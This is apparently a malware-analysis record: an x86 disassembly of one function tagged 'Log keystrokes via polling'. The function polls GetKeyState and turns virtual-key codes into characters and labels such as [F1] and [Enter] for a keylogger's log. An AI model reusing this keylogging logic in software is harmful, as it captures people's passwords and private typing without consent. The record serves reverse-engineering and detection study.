Function at 0x1000c1ba
Capabilities:
Log keystrokes via polling

Disassembly:
push 8
mov eax, 0x1011e565
call fcn.101025ad
xor edi, edi
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push 0x1015a833
mov ecx, esi
mov dword [ebp - 4], edi
call fcn.1000b46e
push 0x10
mov dword [ebp - 4], edi
mov dword [ebp - 0x14], 1
call dword [sym.imp.USER32.dll_GetKeyState]
mov ebx, dword [ebp + 0xc]
cwde
mov ecx, SysReAllocString
and eax, ecx
cmp eax, ecx
sete cl
lea eax, [ebx - 0xba]
mov byte [ebp - 0xd], cl
cmp eax, 0x24
ja 0x1000bdae
mov eax, 0xbf
cmp ebx, eax
jg 0x1000bd0a
je 0x1000bcf2
mov eax, ebx
sub eax, 0xba
je 0x1000bcdd
dec eax
je 0x1000bccb
dec eax
je 0x1000bcb9
dec eax
je 0x1000bc63
dec eax
jne 0x1000bdae
test cl, cl
je 0x1000bc4c
mov edi, 0x1012cea0
push edi
call fcn.10104540
pop ecx
push eax
push edi
mov ecx, esi
call fcn.1000a5ec
mov edi, 0x1012d03c
push edi
call fcn.10104540
pop ecx
push eax
push edi
mov ecx, esi
call fcn.1000a5ec
cmp ebx, 0x41
jl 0x1000c1dc
cmp ebx, 0x5a
jg 0x1000c1dc
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, esi
test ax, ax
je 0x1000c1cb
cmp byte [ebp - 0xd], 0
je 0x1000c1d4
add bl, 0x20
movzx eax, bl
push eax
jmp 0x1000c1d5
mov edi, 0x1012d03c
push edi
call fcn.10104540
pop ecx
push eax
push edi
mov ecx, esi
call fcn.1000a5ec
jmp 0x1000bc01
test cl, cl
je 0x1000bcb2
mov edi, 0x1012cf10
push edi
call fcn.10104540
pop ecx
push eax
push edi
mov ecx, esi
call fcn.1000a5ec
lea eax, [ebx - 0x61]
cmp eax, 0x19
ja 0x1000c13b
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, esi
test ax, ax
je 0x1000c125
cmp byte [ebp - 0xd], 0
je 0x1000c12f
push ebx
push 1
call fcn.1000a504
jmp case.default.0x1000c159
mov edi, 0x1012d0c8
jmp 0x1000bc6c
test cl, cl
je 0x1000bcc4
mov edi, 0x1012cea4
jmp 0x1000bc6c
mov edi, 0x1012d040
jmp 0x1000bc6c
test cl, cl
je 0x1000bcd6
mov edi, 0x1012cf88
jmp 0x1000bc6c
mov edi, 0x1012d0c4
jmp 0x1000bc6c
test cl, cl
je 0x1000bce8
mov edi, 0x1012cec0
jmp 0x1000bc6c
mov edi, 0x1012d064
jmp 0x1000bc6c
test cl, cl
je 0x1000bd00
mov edi, str.___NVCXZ_:LKJHGFAPOIUYTREWQ_______
jmp 0x1000bc6c
mov edi, 0x1012d038
jmp 0x1000bc6c
mov eax, ebx
sub eax, 0xc0
je 0x1000bd8b
sub eax, 0x1b
je 0x1000bd73
dec eax
je 0x1000bd5b
dec eax
je 0x1000bd43
dec eax
jne 0x1000bdae
test cl, cl
je 0x1000bd39
push 0x22
push 1
mov ecx, esi
call fcn.1000a504
jmp 0x1000bc7c
mov edi, 0x1012d060
jmp 0x1000bc6c
test cl, cl
je 0x1000bd51
mov edi, 0x1012cee0
jmp 0x1000bc6c
mov edi, 0x1012d08c
jmp 0x1000bc6c
test cl, cl
je 0x1000bd69
mov edi, 0x1012d97c
jmp 0x1000bc6c
mov edi, str._._mnbvcxz_lkjhgfdsa__poiuytrewq
jmp 0x1000bc6c
test cl, cl
je 0x1000bd81
mov edi, 0x1012cee4
jmp 0x1000bc6c
mov edi, 0x1012d090
jmp 0x1000bc6c
test cl, cl
je 0x1000bd99
mov edi, 0x1012cf38
jmp 0x1000bc6c
mov edi, 0x1012d0f4
push edi
call fcn.10104540
pop ecx
push eax
push edi
mov ecx, esi
call fcn.1000a5ec
cmp ebx, 0x1b
jne 0x1000bdcd
mov edi, str._Esc_
push edi
call fcn.10104540
pop ecx
push eax
push edi
mov ecx, esi
call fcn.1000a5ec
jmp 0x1000c1dc
cmp ebx, 0x70
jne 0x1000bdd9
mov edi, str._F1_
jmp 0x1000bdb8
cmp ebx, 0x71
jne 0x1000bde5
mov edi, str._F2_
jmp 0x1000bdb8
cmp ebx, 0x72
jne 0x1000bdf1
mov edi, str._F3_
jmp 0x1000bdb8
cmp ebx, 0x73
jne 0x1000bdfd
mov edi, str._F4_
jmp 0x1000bdb8
cmp ebx, 0x74
jne 0x1000be09
mov edi, str._F5_
jmp 0x1000bdb8
cmp ebx, 0x75
jne 0x1000be15
mov edi, str._F6_
jmp 0x1000bdb8
cmp ebx, 0x76
jne 0x1000be21
mov edi, str._F7_
jmp 0x1000bdb8
cmp ebx, 0x77
jne 0x1000be2d
mov edi, str._F8_
jmp 0x1000bdb8
cmp ebx, 0x78
jne 0x1000be3c
mov edi, str._F9_
jmp 0x1000bdb8
cmp ebx, 0x79
jne 0x1000be4b
mov edi, str._F10_
jmp 0x1000bdb8
cmp ebx, 0x7a
jne 0x1000be5a
mov edi, str._F11_
jmp 0x1000bdb8
cmp ebx, 0x7b
jne 0x1000be69
mov edi, 0x1012d0f8
jmp 0x1000bdb8
cmp ebx, 0x2c
jne 0x1000be78
mov edi, str._PrScrn_
jmp 0x1000bdb8
cmp ebx, 0x91
jne 0x1000be8a
mov edi, str._Scroll_Lock_
jmp 0x1000bdb8
cmp ebx, 0x13
jne 0x1000be99
mov edi, str._Pause_
jmp 0x1000bdb8
cmp ebx, 0x14
jne 0x1000bea8
mov edi, str._Caps_Lock_
jmp 0x1000bdb8
cmp ebx, 8
jne 0x1000beb7
mov edi, str._Backspace_
jmp 0x1000bdb8
cmp ebx, 0xd
jne 0x1000bec6
mov edi, str._Enter__n
jmp 0x1000bdb8
cmp ebx, 0x20
jne 0x1000bed5
mov edi, 0x1012d938
jmp 0x1000bdb8
cmp ebx, 9
jne 0x1000bee4
mov edi, str._Tab_
jmp 0x1000bdb8
cmp ebx, 0xa2
jne 0x1000bef6
mov edi, str._Ctrl_
jmp 0x1000bdb8
cmp ebx, 0xa3
jne 0x1000bf08
mov edi, str._CTRL_
jmp 0x1000bdb8
cmp ebx, 0xa4
jne 0x1000bf1a
mov edi, str._Alt_
jmp 0x1000bdb8
cmp ebx, 0x5b
jne 0x1000bf29
mov edi, str._Win_
jmp 0x1000bdb8
cmp ebx, 0x5c
jne 0x1000bf38
mov edi, str._WIN_
jmp 0x1000bdb8
cmp ebx, 0x5d
jne 0x1000bf47
mov edi, 0x1012d918
jmp 0x1000bdb8
cmp ebx, 0x2d
jne 0x1000bf56
mov edi, str._Insert_
jmp 0x1000bdb8
cmp ebx, 0x2e
jne 0x1000bf65
mov edi, str._Delete_
jmp 0x1000bdb8
cmp ebx, 0x24
jne 0x1000bf74
mov edi, str._Home_
jmp 0x1000bdb8
cmp ebx, 0x23
jne 0x1000bf83
mov edi, str._End_
jmp 0x1000bdb8
cmp ebx, 0x21
jne 0x1000bf92
mov edi, str._PgUp_
jmp 0x1000bdb8
cmp ebx, 0x22
jne 0x1000bfa1
mov edi, str._PgDown_
jmp 0x1000bdb8
cmp ebx, 3
jne 0x1000bfb0
mov edi, str._Cancel_
jmp 0x1000bdb8
cmp ebx, 0xc
jne 0x1000bfbf
mov edi, str._Clear_
jmp 0x1000bdb8
cmp ebx, 0x29
jne 0x1000bfce
mov edi, str._Select_
jmp 0x1000bdb8
cmp ebx, 0x2a
jne 0x1000bfdd
mov edi, str._Print_
jmp 0x1000bdb8
cmp ebx, 0x2b
jne 0x1000bfec
mov edi, str._Execute_
jmp 0x1000bdb8
cmp ebx, 0x25
jne 0x1000bffb
mov edi, 0x1012d8c8
jmp 0x1000bdb8
cmp ebx, 0x27
jne 0x1000c00a
mov edi, 0x1012d8c0
jmp 0x1000bdb8
cmp ebx, 0x26
jne 0x1000c019
mov edi, 0x1012d8b8
jmp 0x1000bdb8
cmp ebx, 0x28
jne 0x1000c028
mov edi, 0x1012d8b0
jmp 0x1000bdb8
cmp ebx, 0x90
jne 0x1000c03a
mov edi, str._NumLock_
jmp 0x1000bdb8
cmp ebx, 0x6b
jne 0x1000c049
mov edi, 0x1012cf88
jmp 0x1000bdb8
cmp ebx, 0x6d
jne 0x1000c058
mov edi, 0x1012d0c8
jmp 0x1000bdb8
cmp ebx, 0x6a
jne 0x1000c067
mov edi, 0x1012cf8c
jmp 0x1000bdb8
cmp ebx, 0x6f
jne 0x1000c076
mov edi, 0x1012d038
jmp 0x1000bdb8
cmp ebx, 0xbe
je 0x1000bbfc
cmp ebx, 0x6e
je 0x1000bbfc
cmp ebx, 0x60
jne 0x1000c09a
mov edi, 0x1012d0cc
jmp 0x1000bdb8
cmp ebx, 0x61
jne 0x1000c0a9
mov edi, 0x1012d0f0
jmp 0x1000bdb8
cmp ebx, 0x62
jne 0x1000c0b8
mov edi, 0x1012d0ec
jmp 0x1000bdb8
cmp ebx, 0x63
jne 0x1000c0c7
mov edi, 0x1012d0e8
jmp 0x1000bdb8
cmp ebx, 0x64
jne 0x1000c0d6
mov edi, 0x1012d0e4
jmp 0x1000bdb8
cmp ebx, 0x65
jne 0x1000c0e5
mov edi, 0x1012d0e0
jmp 0x1000bdb8
cmp ebx, 0x66
jne 0x1000c0f4
mov edi, 0x1012d0dc
jmp 0x1000bdb8
cmp ebx, 0x67
jne 0x1000c103
mov edi, 0x1012d0d8
jmp 0x1000bdb8
cmp ebx, 0x68
jne 0x1000c112
mov edi, 0x1012d0d4
jmp 0x1000bdb8
cmp ebx, 0x69
jne 0x1000bc7c
mov edi, 0x1012d0d0
jmp 0x1000bdb8
cmp byte [ebp - 0xd], 0
je 0x1000bca5
lea eax, [ebx - 0x20]
movzx eax, al
push eax
jmp 0x1000bca6
lea eax, [ebx - 0x30]
cmp eax, 9
ja case.default.0x1000c159
cmp byte [ebp - 0xd], 0
je 0x1000c1c4
lea eax, [ebx - 0x30]
cmp eax, 9
ja case.default.0x1000c159
jmp dword [eax*4 + 0x1000c1e4]
mov edi, 0x1012cf14
jmp 0x1000bc01
mov edi, 0x1012cf34
jmp 0x1000bc01
mov edi, 0x1012cf30
jmp 0x1000bc01
mov edi, 0x1012cf2c
jmp 0x1000bc01
mov edi, 0x1012cf28
jmp 0x1000bc01
mov edi, 0x1012cf24
jmp 0x1000bc01
mov edi, 0x1012cf20
jmp 0x1000bc01
mov edi, 0x1012cf1c
jmp 0x1000bc01
mov edi, 0x1012cf8c
jmp 0x1000bc01
mov edi, 0x1012cf18
jmp 0x1000bc01
mov ecx, esi
jmp 0x1000bca5
cmp byte [ebp - 0xd], 0
jne 0x1000c1d4
add ebx, 0x20
push ebx
push 1
call fcn.1000a504
mov eax, esi
call fcn.10102685
ret